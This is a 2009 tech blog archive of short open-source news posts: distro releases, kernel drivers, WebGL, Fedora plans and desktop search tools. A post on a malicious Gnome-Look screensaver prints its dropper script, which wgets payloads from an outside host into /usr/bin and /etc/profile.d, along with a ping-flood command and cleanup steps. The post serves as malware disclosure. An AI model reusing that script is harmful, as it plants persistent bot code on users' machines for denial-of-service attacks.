Category Archives: Open Source Software

Linux Mint 8 Helena x64 Edition Released

greenshot_2009-12-15_19-58-37Last month, we reported the release of Linux Mint 8, or Helena’. Today, their development team also released the 64 bit edition of the popular linux distribution for computers compliant with 64 bit processors. A quick heads up to all Mint enthusiasts, if you’re sixty-four bitted, get your download here.

This x64 edition of Linux Mint 8 is almost identical to the Main Edition but compiled for 64 bit processors (Intel Core 2 Duo, Intel Core 2 Quad, AMD Athlon X2 64 and all x86-64 compliant processors). It comes with all the improvements featured in Linux Mint 8 Helena Main Edition.

For Global Warming’s sake, use the Torrent download. It helps heating up less servers.

Nouveau DRM driver makes its way into Linux Kernel

The Nouveau DRM driver, with around 36,000 lines will now be a part of the Linux Kernel. The driver will be available from Linux 2.6.33 kernel, which comes as a big relief for Nvidia Graphics users. The Nouveau code has support for any Nvidia GPU released till date. The prime concerns over its inclusion into the Linux Kernel was its huge size. But the decision to include it into the Kernel by Linus Torvalds has been seconded by the release of a code, provided from RedHat.

There were disagreements on this inclusion earlier as stated here,

You assume that Red Hat has full control over the project, which i don’t think is the case. The reason it isn’t in staging yet (as far as i know) is because of some questions over the copyright of some (essential) microcode. Either the question needs to be answered, or it has to be reverse engineered to the point that it’s possible to generate it.

The Nouveau code had proprietary microcode usage problems but David Airlie and Ben Skeggs of RedHat have developed a fix for this and are resenting this to the Linux community. The code still has some legal uncertainty but there is no response from Nvidia on this reverse engineered code, so they are going ahead with the release and inclusion.

Canonical is also planning on including this new kernel and its Nouveau features in its next release, the Ubuntu 10.04 Lucid Lynx. All is good, until Nvidia raises a question.

Gnome Desktop Project Decides to Split away from GNU Project

The Gnome Desktop Project has decided to split away from the GNU Project and wants to work independently from now on.

gnome_logo

The letter written by Philip Van Hoof to the Gnome Foundation mailing List clearly indicates and hints this wish of a number of Gnome developers.

You, as one of the key FSF people, appear to be keen[1] on enforcing a
strict policy on how GNU’s member-projects should behave. So …

I propose to have a vote on GNOME’s membership to the GNU project.

> I think Planet GNOME should have a rule to this effect.

I think it’s clear that I disagree. Philosophically.

As evident from this mail, the Senior Gnome Developer wants a vote on whether to run Gnome development under the GNU project or under a separate project. All this fired up after a post made on Planet GNOME, the official Gnome blog which aggregates RSS from blogs of all Gnome members.

The post in question, made by Gnome founder  Miguel de Icaza who also happens to be the current Vice President of Novell, can be found here. There is some interesting formal heat exchange in the comments, so do not forget to check them out as well.

This decision seems to have resulted from dissatisfaction of De Icaza on being at the receiving end for making this post. The decision of the split, though lies exclusively at the hands of the community.

3D Web: WebGL Standard Draft now Brings it Closer to Reality

We all love graphics. And when it is 3D, we might find it exciting too. Well, till now, this 3D graphics capabilities reminded us only of 3D computer games and graphics applications.
khronos
Though with HTML5 and the latest WebGL draft released this Thursday, things are about to change and we will see a 3D web sometime soon.

WebGL is a royalty-free, cross-platform API that brings OpenGL ES 2.0 to the web as a 3D drawing context within HTML5’s Canvas element, exposed as low-level interfaces within the Document Object Model.

The WebGL project is managed by the Khronos Group and backed by major players in the browser and Internet industry, like Mozilla, Opera, Apple and Google. The release of this draft code is bringing the standard closer to being realized. The WebGL project has simply released a WebKit derived draft code and this does not in any way mean that the 3D web is now already a standard, as believed by many.

Those interested in tinkering with the derived code, can do so with a GPU powered by OpenGL to render WebGL 3D graphics. The WebGL will become a standard sometime next year and you can read more on this here.

Currently WebGL support is available in all major browsers like Google Chrome, Firefox etc.

To enable WebGL support in Firefox nightly builds,

  • Go to the address bar and type “about:config”
  • Enter webgl in the search bar
  • Toggle “enabled_for_all_sites” to true

A 3D web has been a long wish and will add a new dimension to our browsing experience.

French Military contributes to Thunderbird

French Military is reported to have contributed to the latest Thunderbird 3, released this week. This association of the French Government with Open Source started way back with an intense internal debate on whether to go for Open Source software for government usage.
open-source-france
The Reuters report says:

France’s military chose open source software after an internal government debate that began in 2003 and culminated in a November 6, 2007, directive requiring state agencies “Seek maximum technological and commercial independence.”

This debate resulted in a favor of Mozilla powered Thunderbird as it allowed the French Military to include security specific code into the release. This was not possible wit the closed source Microsoft Outlook. So they started it as a Military project and open sourced it soon, under the brand-name of TrustBird along with Mozilla.

This custom Mozilla is in use with the Finance, Culture and Interior ministries.

Also, after the success of Thunderbird, the French government is moving to using Linux and OpenOffice.org instead of Microsoft Windows and Office applications.

The next step would be to look for some support. This can get messy, as Microsoft has a whole army of technicians and on-site help personnel at an established office, whereas Mozilla, has only ten employees located somewhere in Paris.

Reports of this decision appeared on the Reuters website and the news can be seen here.

Jolicloud Pre-Beta Available for Downloads [Jolicloud Express]

jolicloud_windows_express_installer[1]

Jolicloud Pre-beta is now available for downloads. We had covered the new features in Jolicloud Pre-beta, the new pre-beta downloads include Jolicloud Express a native Windows installer for installing Jolicloud.

The downloads are available as both torrents and HTTP downloads. Visit the Jolicloud download page to choose your download type. If you are not running Windows, you can also download the Jolicloud ISO to USB installer, to create a installer for USB drives.

We will do a complete review of Jolicloud pre-beta in near future, so stay tuned for it.

[via DSQ]

Fedora 13 Codename Goddard: Features

Fedora 13 promises a rich set of features. The features are still being worked upon and include the Btrfs file system which allows file system snapshots and the NFSv4 allowing better NFS capabilities over IPV6.

The Btrfs file system also allows us to defragment the drives online. The inclusion of the Btrfs file system aims primarily at the snapshot system which will take a snapshot before every yum upgrade. This will let us roll back to the previous stable system in case of a glitch. The Btrfs is not available as the default file system and has to be installed separately.

Another feature that we might see in Fedora 13 will be NFSv4. This protocol will allow us to mount NFS servers on IPV6 in Fedora 13.

The release of Fedora 13 will be codenamed Goddard and will come out sometime next year. The decision was taken after a proper voting was issued. The result of the voting was seen as:

1. Goddard 1177
– –[ Cut Off ] —
2. Langstrom 1009
3. Gloriana 977
4. Botany 922
5. Loana 707
6. Truro 654
7. Manfredi 504

The winner and the only name to win the cut off votes was the name Goddard. More information on this can be found here.

Ubuntu: Malware in Screensaver from Gnome-Look.org

A desktop screensaver available from Gnome-Look.org was reported to be a malware, which downloads an unauthorized script. This script is believed to enable a possible DDoS attack.   The screensaver has been immediately removed from the website after the malware was confirmed at this thread at Ubuntu forums.

The malware posing as a screensaver has a script:

#!/bin/sh
cd /usr/bin/
rm Auto.bash
sleep 1
wget http://05748.t35.com/Bots/Auto.bash
chmod 777 Auto.bash
echo -----------------
cd /etc/profile.d/
rm gnome.sh
sleep 1
wget http://05748.t35.com/Bots/gnome.sh
chmod 777 gnome.sh
echo -----------------
clear
exit

The ultimate result of this command is:

ping -s 65507 www.mmowned.com

This seems harmless. Also, the site in question [ www.mmowned.com ] advertises protection against DOS attacks. This can be a good prank revenge on the company or, this can be a part of something big by making all these affected computers into bots.

If you have already installed the screensaver, remove it and protect your computer by issuing the commands:

sudo rm -f /usr/bin/Auto.bash /usr/bin/run.bash /etc/profile.d/gnome.sh index.php run.bash
and
sudo dpkg -r app5552

[ Via OMG! UBUNTU! ]

Fedora switches over to GIT from CVS

Fedora has managed its source control with CVS from its birth but is now deciding to switch over to GIT. This decision was made at the FUDCon this week, at Toronto. RedHat’s Jesse Keating has decided to make this switchover from CVS. He writes in his blog:

Git has skyrocketed in popularity over the past few years. More than I ever imagined, when I first toyed with the idea of doing the jump to git, back in the Fedora Core 6 days. Most notably the Gnome project has recently made the leap from SVN over to git (amusingly they started in CVS, we’ll just be skipping that SVN step). Not only is git popular, it’s really a better choice.

GIT also offers much better features like:

  • Better patch management system giving an easy way to deal with modifications and changes in the source.
  • Better distribution management allowing users to use GIT repositories even though they are using different distribution versions.

The simplest reason to use GIT though, would be because it is faster than CVS. Also, GIT allows many upstream hosted projects making it publicly available as a development package platform. The switchover will go into implementation shortly after the release of Fedora 13 but could be delayed till Fedora 14. But either way, we will see a GIT repository control in Fedora by 2010.

Create Bootable USB Drive for CentOS/RedHat

ISO2USB is a handy utility for users who want to create bootable USB drives for CentOS or RedHat 5.X. You can create the bootable CentOS or RedHat USB drive by using your install CD or ISO image file.

Create Bootal CentOS/RedHat 5.x USB Drive

You can then use the USB stick to perform installations on computers which do not have optical drives. ISO2USB also supports custom installations disks.

The bootable USB drive can perform the full install and does not require network support.

Download ISO2USB

How to transform Ubuntu(Gnome) into Windows XP desktop

You are using Linux desktop for advanced features and security, but do you still miss the Windows XP looks and layout?

There are many options, using which, you can tinker around and experiment with themes and icons etc., until you get that perfect XP look for your Linux Box running Gnome.
Well, the good news is that you can now theme Gnome desktop, completely into XP style, using a single script.

PhrankDaChicken has launched XpGnome script that transforms Ubuntu (Gnome) into Windows XP look-alike.
You can download the script from here .

transform gnome into windows xp
transform gnome into windows xp

The script changes the following components:

  • Icons
  • GTK
  • Metacity
  • Usplash
  • GDM theme
  • Mouse
  • Panel background
  • Desktop background
  • Nautilus tree view

It deletes all the Gnome panels and adds a new panel at the bottom with:

  • Start Menu
  • Show Desktop
  • Window switcher
  • Notification area
  • Volume control
  • Clock

But as a general rule with Linux, be prepared for things to screw up.
So, in case if you want to get your old and working desktop back by reverting the settings. Simply run the Restore_Settings script in the restore folder.

Here is a complete video tutorial on how to install and then revert XpGnome script, on Youtube.

So why does anyone want this script?

Techie-buzz verdict: This script is for people who often screw their Windows XP desktop. So, now they can have a stable Linux OS with familiar Windows Xp looks and feel.

Chrome OS: Cherry modded for Wi-Fi Support

Cherry is a chrome OS mod released by Hexxeh, a Chrome OS developer. The cherry OS has many advantages over the default Chrome OS. It has a small size of 300 MB. Not only this, it fits into a USB drive of size 1 GB unlike the original build, which requires at least a 4 GB USB drive.
chrome-os-cherry
In addition to that, it now includes out of the box support for Wi-Fi. Wi-Fi was initially unavailable on Chrome OS and is still unavailable. It can be enabled by copying the Wi-Fi firmware from your default Ubuntu or Ubuntu based installation, to a folder in the Chrome OS USB-drive. All that trouble has been done away with in the Cherry build of the Chrome OS.

The OS can be tried on any netbook, laptop or desktop. It is available as an image file that can be written to a USB drive using an appropriate tool. Windows users can refer to this page for help on making a bootable Chrome OS image. The default username and password for Cherry OS is  facepunch.

There are three download links on this page. One is a torrent download, others are HTTP links. The download is absolutely free. As the homepage says, you can report any bugs to @Hexxeh on twitter.

Chrome OS being Ubuntu based, is highly customizable and is fast developing. This parallel build of Chrome OS is a big hit and Wi-Fi support appearing on it even before on the Chrome OS itself is a positive response from the open source community on Chrome OS.

Desktop search engines for Linux

The file system management is fine in Linux, but effectively searching the file system for specific files like mp3 (.mp3) , text (.txt), movie (.avi, .divx etc.), pictures (.jpeg, .bmp, .png) or documents (.doc) is one thing that most of linux users miss from their Windows Desktop.

The inbuilt search interface in most of the linux distros is not so user-friendly and effective, so we here present some of the better alternative Desktop search engines for linux:

Beagle

http://beagle-project.org/

Beagle is one of the most useful and exhaustive desktop search replacements we could find for linux.
The list of supported files types is very large ranging from images, audio, video, documents, DEB and RPM packages, Email from Evolution and Thunderbird , IM logs and even RSS feeds.
You can even add a new file type by editing the file at : /etc/beagle/external-filters.xml

Beagle can be invoked and run either from Command line or Web interface, while Command line is more powerful as you can specify exact phrases, words or even logical operators (AND, OR) or even use metadata of audio and image files.

Beagle achieves efficiency by building a non-redundant index of files, which is comparatively smaller than other engines.
For a 45 Gb partition, index was around 700 Mb.

Google Desktop Search

http://desktop.google.com/linux/

Google Desktop search for linux also supports many file types like Openoffice and MSoffice files, PDF, Html and others.
But downsides are:

  1. It does not index zipped archives.
  2. You cannot add new file types at all.

The noteworthy feature is you can point to the exact directory where you are looking for a particular life. Otherwise, it is just useful for average office use and is useless for a power user like me.

DocFetcher

http://docfetcher.sourceforge.net/en/index.html

Supported file types: HTML, plain text, PDF, Microsoft Office (doc, xls, ppt), Microsoft Office 2007 (docx, xlsx, pptx), OpenOffice.org Writer, Calc, Draw, and Impress, RTF, AbiWord (abw, abw.gz, zabw), CHM, Visio, SVG.

DocFetcher is coded in Java, so naturally it is fast in indexing and easy on CPU resources.
It also supports regular expressions, phrase search and logical operators (AND, OR, NOT). Like GDS (Google Desktop search) it also does not search zipped archives.

One interesting query feature found is: Boosting terms, using which you can assign custom weights to words, thus increasing or decreasing the level of matching of words.

Tracker

http://projects.gnome.org/tracker

Tracker is a part of Gnome project.
It introduces the concept of file tags, which is in my view overcomplicates the file system management.

The list of file types supported is quite large, still there is no Bookmarks, EMails or Contact search support.
The biggest downside is that indexer is the slowest among all those we compared.

After comparison, our clear favorite Desktop search engine for Linux OS is Beagle, which can effectively compete against any search interface for Windows.

Christmas Ubuntu Theme: for Christmas Times

Christmas is arriving and now is the time to gear up your freshly installed Ubuntu 9.10 Karmic Koala system with a Christmas theme for Ubuntu. As always, I am providing a wallpaper, a login screen, an icon pack and a theme for the window manager.

Wallpaper

The wallpapers for this theme are taken from Gnome-Look, and I came across more than one of them. So here are the two I selected for you.
Christmas Tux:
christmas_ubuntu_wallpaper
Our Tux is also in festive mood in this wallpaper. Get the wallpaper here.
This next one is a blue wallpaper.
christmas_ubuntu_wallpaper
Get the blue Christmas wallpaper here.

Single Command to Reinstall Ubuntu

Did you screw up your Ubuntu install? No need to download all the packages or get our your Ubuntu CD for a new installation. A single command can help you reinstall Ubuntu and reinstall all the packages from core and reconfigure them.

To reinstall or restore Ubuntu to a factory install from the command line, run the following command:

   1: sudo dpkg-reconfigure -phigh -a

To run minor restores and dependency issues, you can run the command:

   1: sudo apt-get install -f

Don’t forget to your data before you run any of the commands.

Reinstall Ubuntu automatically [via Kabatology]